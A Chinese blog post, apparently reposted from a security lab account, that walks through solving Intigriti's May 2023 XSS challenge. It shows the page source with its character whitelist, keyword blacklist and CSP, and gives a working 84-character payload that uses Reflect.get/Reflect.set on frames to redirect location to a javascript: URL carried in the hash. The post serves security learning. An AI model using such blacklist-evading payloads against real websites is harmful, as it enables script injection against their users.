来一起看一个有趣的XSS

新闻资讯   2023-06-20 14:02   73   0  
01

前言


ntigriti的5月XSS挑战,写了一小篇challenge-0523 XSS解题过程记录。payload最终长度 84 字符,国外最短 67 字符。还是要多学习

02

题解


https://challenge-0523.intigriti.io/challenge/xss.html?xss=Reflect.set%28frames%2C%27locatio%27%2B%27n%27%2CReflect.get%28frames%2C%27locatio%27%2B%27n%27%29.hash.slice%28true%29%29#javascript:alert(%60Can%20execute%20any%20JavaScript%20content\nDomain:%20${document.domain}%60)


Reflect.set(frames,'locatio'+'n',Reflect.get(frames,'locatio'+'n').hash.slice(true))
03

页面源码


<!DOCTYPE html><html>  <head>    <meta http-equiv="Content-Security-Policy" content="script-src 'none'; script-src-elem data: 'unsafe-inline'">    <title>XSS Challenge</title>    <link rel="stylesheet" href="style.css">  </head>  <body>    <h1>XSS Challenge</h1>    <form method="GET">      <label for="xss">Enter your XSS payload:</label>      <input type="text" name="xss" id="xss" placeholder="e.g. print()">      <input type="submit" value="Submit">    </form>    <script>      (()=>{        opener=null;        name='';        const xss = new URL(location).searchParams.get("xss") || '';        const characters = /^[a-zA-Z,'+\\.()]+$/;        const words =/alert|prompt|eval|setTimeout|setInterval|Function|location|open|document|script|url|HTML|Element|href|String|Object|Array|Number|atob|call|apply|replace|assign|on|write|import|navigator|navigation|fetch|Symbol|name|this|window|self|top|parent|globalThis|new|proto|construct|xss/i;        if(xss.length<100 && characters.test(xss) && !words.test(xss)){            script = document.createElement('script');          script.src='data:,'+xss          document.head.appendChild(script)          }        else{          console.log("try harder");        }      })()</script>  </body></html>
04

解题思路


这道题的代码量不多,且主要考点是关于JS中,执行方法的一些考验。

const characters = /^[a-zA-Z,'+\\.()]+$/ 中规范了只能拿大小写英文与'\+().,等七种符号进行拼接


const words 中定义了常用执行关键字词的部分特征

另外还有关于字符串长度不能大于100的一个限制,另外执行的环境是data伪协议传递进来的字符串


见到题的第一时间我就在想,会不会是关于 data 伪协议的一些奇奇怪怪的特性,

随即我就翻阅了定义其特性的规范:

 RFC2397 https://datatracker.ietf.org/doc/html/rfc2397


规范很简短,在其中我并没有发现什么怪癖的特性


转移注意力至 words 所定义的黑名单字符串,一开始我想过很多,例如利用addEventListener得到一个message或者load监听器,这样就可以得到一个 Event我或许可以利用什么方法去执行Event中传递的自定义参数,尝试过一段时间后,我发现这样根本不可行


而后我又在尝试发现 frames 并未处于黑名单之中,利用它我可以拿到Window对象。这时候我想:如果有某种方法可以在不使用类似 frames['eval'] 中的中括号的情况下,可以调用到eval方法,我就可以执行任意的JS


那么该如何获取到其他对象呢?我测试出我能拿到的所有利用String对象得到的其他对象,例如:

  • 通过 ''.split() 可以得到 Array

  • 利用 ''.length 得到 Number

再翻阅关于对象的一些文章,我发现了Object.entries可以将frames展开为列表,假设如果有一种方法可以得到Object对象时,我能不能执行任意JS,基于这个想法我做了一些尝试:

通过 Object.entries 遍历frames然后利用at取到第161位的alert列表。

由于并不能使用数字,故我利用GPU方法进行相加继而隐式调用toString,通过3个字符的方法名得到35长度的字符串 GPU+GPU+GPU+GPU+Blob得到长度为161的字符串:

function GPU() { [native code] }function GPU() { [native code] }function GPU() { [native code] }function GPU() { [native code] }function Blob() { [native code] }

再取后一位的 Fcuntion

最终利用66字符长度得到了 alert
Object.entries(frames).at((GPU+GPU+GPU+GPU+Blob).length).at(+true) -> alert

完成后,我就越想越不对劲。这还是在没有获取到Object对象的前提下就已经 66 字符长度了,这再加获取这个对象的方法,100个字符是肯定不够的。研究一度又陷入了死局....


这时候我回过头来看官方给予的提示

关键词 E.C.M.A 与 Six,一开始我还以为是规范的第六条,刚好也是说明类型相关。翻阅后依然没头绪....

https://262.ecma-international.org/13.0/#sec-ecmascript-data-types-and-values

搁置了一天后,我在想会不会是ES6的一些方法?于是谷歌一下,得到了一本PDF

https://www.yuque.com/office/yuque/0/2023/pdf/750167/1685176835073-9807bc4f-456b-45c3-a13a-d7085e21948c.pdf?from=https%3A%2F%2Fwww.yuque.com%2Fxsshk%2Fyqyq64%2Flyrgubg94u0xl19y

在对其中在黑名单之外的对象(Proxy、Reflect、Promise)进行阅读后,我找到了这么一个方法:

当时看到它时,我知道,最终的答案就是这个方法。随后简单调试一下下,得到了:

Reflect.get(frames, 'al\ert')('Huuuuu')

剩下的步骤就简单了,我一开始想是利用 eval 直接执行 location.hash 但页面中声明了CSP

script-src 'none'; script-src-elem data: 'unsafe-inline'

或者fetch加载第三方站点的text进行执行,但没办法获得Response对象中的text

后来注意到除了 Reflect.get 还有一个 Reflect.set 简单了解后得到最终题解(长度84

Reflect.set(frames,'locatio'+'n',Reflect.get(frames,'locatio'+'n').hash.slice(true))

Payload放到location.hash中执行即可


最后的最后~ 感谢intigriti@RenwaX23带来的题目!




点击下方阅读原文可查看原文~




文章引用微信公众号"白帽100安全攻防实验室",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。